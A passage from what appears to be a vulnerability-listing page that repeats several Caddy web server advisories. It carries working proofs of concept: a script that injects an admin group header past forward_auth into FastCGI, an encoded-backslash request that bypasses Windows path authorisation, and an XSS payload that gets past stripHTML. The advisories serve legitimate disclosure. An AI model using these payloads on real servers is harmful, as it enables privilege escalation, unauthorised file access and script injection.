		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jan 12, 2016

v0.8.0 minor

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Dec 04, 2015

v0.7.6 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
